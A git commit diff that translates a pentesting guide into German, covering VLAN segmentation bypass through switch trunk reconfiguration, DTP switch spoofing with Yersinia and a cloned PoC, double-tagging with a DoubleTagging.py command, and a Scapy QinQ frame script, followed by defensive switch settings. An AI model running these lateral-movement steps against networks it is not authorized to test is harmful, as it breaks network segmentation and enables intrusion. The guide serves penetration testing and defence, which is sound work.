Translated ['src/generic-methodologies-and-resources/pentesting-network/

This commit is contained in:
Translator 2025-07-18 18:09:44 +00:00
parent d9952f2e78
commit 9c8a57fc16

View File

@ -1,8 +1,8 @@
# Lateral VLAN Segmentation Bypass
# Lateral VLAN-Segmentierungsumgehung
{{#include ../../banners/hacktricks-training.md}}
Wenn direkter Zugriff auf einen Switch verfügbar ist, kann die VLAN-Segmentierung umgangen werden. Dies beinhaltet die Neukonfiguration des verbundenen Ports in den Trunk-Modus, das Einrichten virtueller Schnittstellen für die Ziel-VLANs und das Festlegen von IP-Adressen, entweder dynamisch (DHCP) oder statisch, je nach Szenario (**für weitere Details siehe [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)).**
Wenn direkter Zugang zu einem Switch verfügbar ist, kann die VLAN-Segmentierung umgangen werden. Dies beinhaltet die Neukonfiguration des verbundenen Ports in den Trunk-Modus, das Einrichten virtueller Schnittstellen für die Ziel-VLANs und das Festlegen von IP-Adressen, entweder dynamisch (DHCP) oder statisch, je nach Szenario (**für weitere Details siehe [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)).**
Zunächst ist die Identifizierung des spezifischen verbundenen Ports erforderlich. Dies kann typischerweise durch CDP-Nachrichten oder durch die Suche nach dem Port über die **include**-Maske erreicht werden.
@ -14,7 +14,7 @@ Vor dem Wechsel in den Trunk-Modus sollte eine Liste der vorhandenen VLANs erste
```
SW1# show vlan brief
```
**Der Übergang in den Trunk-Modus beinhaltet das Betreten des Schnittstellenkonfigurationsmodus**:
**Der Übergang in den Trunk-Modus umfasst das Betreten des Schnittstellenkonfigurationsmodus**:
```
SW1(config)# interface GigabitEthernet 0/2
SW1(config-if)# switchport trunk encapsulation dot1q
@ -44,12 +44,80 @@ Beispiel für das manuelle Festlegen einer statischen IP-Adresse auf einer Schni
```bash
sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
```
Die Konnektivität wird getestet, indem ICMP-Anfragen an die Standardgateways für die VLANs 10, 20, 50 und 60 gesendet werden.
Die Konnektivität wird getestet, indem ICMP-Anfragen an die Standard-Gateways für die VLANs 10, 20, 50 und 60 gesendet werden.
Letztendlich ermöglicht dieser Prozess das Umgehen der VLAN-Segmentierung, wodurch ungehinderter Zugriff auf jedes VLAN-Netzwerk ermöglicht wird und die Grundlage für nachfolgende Aktionen geschaffen wird.
## References
---
## Andere VLAN-Hopping-Techniken (kein privilegierter Switch-CLI)
Die vorherige Methode setzt voraus, dass authentifizierter Zugriff auf die Konsole oder Telnet/SSH des Switches besteht. In realen Szenarien ist der Angreifer normalerweise mit einem **normalen Zugangsport** verbunden. Die folgenden Layer-2-Tricks ermöglichen es oft, seitlich zu pivotieren, ohne jemals in das Switch-Betriebssystem einzuloggen:
### 1. Switch-Spoofing mit Dynamic Trunking Protocol (DTP)
Cisco-Switches, die DTP aktiviert haben, verhandeln gerne einen Trunk, wenn der Peer behauptet, ein Switch zu sein. Das Erstellen eines einzigen **DTP “desirable”** oder **“trunk”** Frames verwandelt den Zugangsport in einen 802.1Q-Trunk, der *alle* erlaubten VLANs trägt.
*Yersinia* und mehrere PoCs automatisieren den Prozess:
```bash
# Become a trunk using Yersinia (GUI)
$ sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking
# Python PoC (dtp-spoof)
$ git clone https://github.com/fleetcaptain/dtp-spoof.git
$ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
```
Sobald der Port auf Trunk umgeschaltet wird, können Sie 802.1Q-Subschnittstellen erstellen und genau wie im vorherigen Abschnitt gezeigt pivotieren. Moderne Linux-Kernel benötigen kein *vconfig* mehr; verwenden Sie stattdessen *ip link*:
```bash
sudo modprobe 8021q
sudo ip link add link eth0 name eth0.30 type vlan id 30
sudo ip addr add 10.10.30.66/24 dev eth0.30
sudo ip link set eth0.30 up
```
### 2. Double-Tagging (Native-VLAN-Missbrauch)
Wenn der Angreifer im **native (untagged) VLAN** sitzt, kann ein gestalteter Frame mit *zwei* 802.1Q-Headern zu einem zweiten VLAN "springen", selbst wenn der Port im Access-Modus gesperrt ist. Werkzeuge wie **VLANPWN DoubleTagging.py** (2022-2024 Aktualisierung) automatisieren die Injektion:
```bash
python3 DoubleTagging.py \
--interface eth0 \
--nativevlan 1 \
--targetvlan 20 \
--victim 10.10.20.24 \
--attacker 10.10.1.54
```
Packet-Durchlauf:
1. Das äußere Tag (1) wird vom ersten Switch entfernt, da es mit dem nativen VLAN übereinstimmt.
2. Das innere Tag (20) ist jetzt sichtbar; der Frame wird über den Trunk in Richtung VLAN 20 weitergeleitet.
Die Technik funktioniert auch im Jahr 2025 in Netzwerken, die das native VLAN auf dem Standard belassen und ungetaggte Frames akzeptieren.
### 3. QinQ (802.1ad) Stapelung
Viele Unternehmenskerne unterstützen *Q-in-Q* Dienstanbieter-Kapselung. Wo erlaubt, kann ein Angreifer beliebigen 802.1Q-getaggten Verkehr innerhalb eines Anbieters (S-Tag) tunneln, um Sicherheitszonen zu überqueren. Erfassen Sie den 802.1ad Ethertyp 0x88a8 und versuchen Sie, das äußere Tag mit Scapy zu entfernen:
```python
from scapy.all import *
outer = 100 # Service tag
inner = 30 # Customer / target VLAN
payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/ICMP()
frame = Dot1Q(type=0x88a8, vlan=outer)/payload
sendp(frame, iface="eth0")
```
---
## Defensive Empfehlungen
1. Deaktivieren Sie DTP an allen benutzerorientierten Ports: `switchport mode access` + `switchport nonegotiate`.
2. Ändern Sie das native VLAN an jedem Trunk in ein **unbenutztes, Black-Hole VLAN** und taggen Sie es: `vlan dot1q tag native`.
3. Prune unnötige VLANs an Trunks: `switchport trunk allowed vlan 10,20`.
4. Erzwingen Sie Portsicherheit, DHCP-Snooping und dynamische ARP-Inspektion, um unerwünschte Layer-2-Aktivitäten zu begrenzen.
5. Bevorzugen Sie private VLANs oder L3-Segmentierung, anstatt sich ausschließlich auf 802.1Q-Trennung zu verlassen.
---
## Referenzen
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
- VLANPWN Angriffswerkzeug <https://github.com/casterbytethrowback/VLANPWN>
- Twingate "Was ist VLAN Hopping?" (Aug 2024) <https://www.twingate.com/blog/glossary/vlan%20hopping>
{{#include ../../banners/hacktricks-training.md}}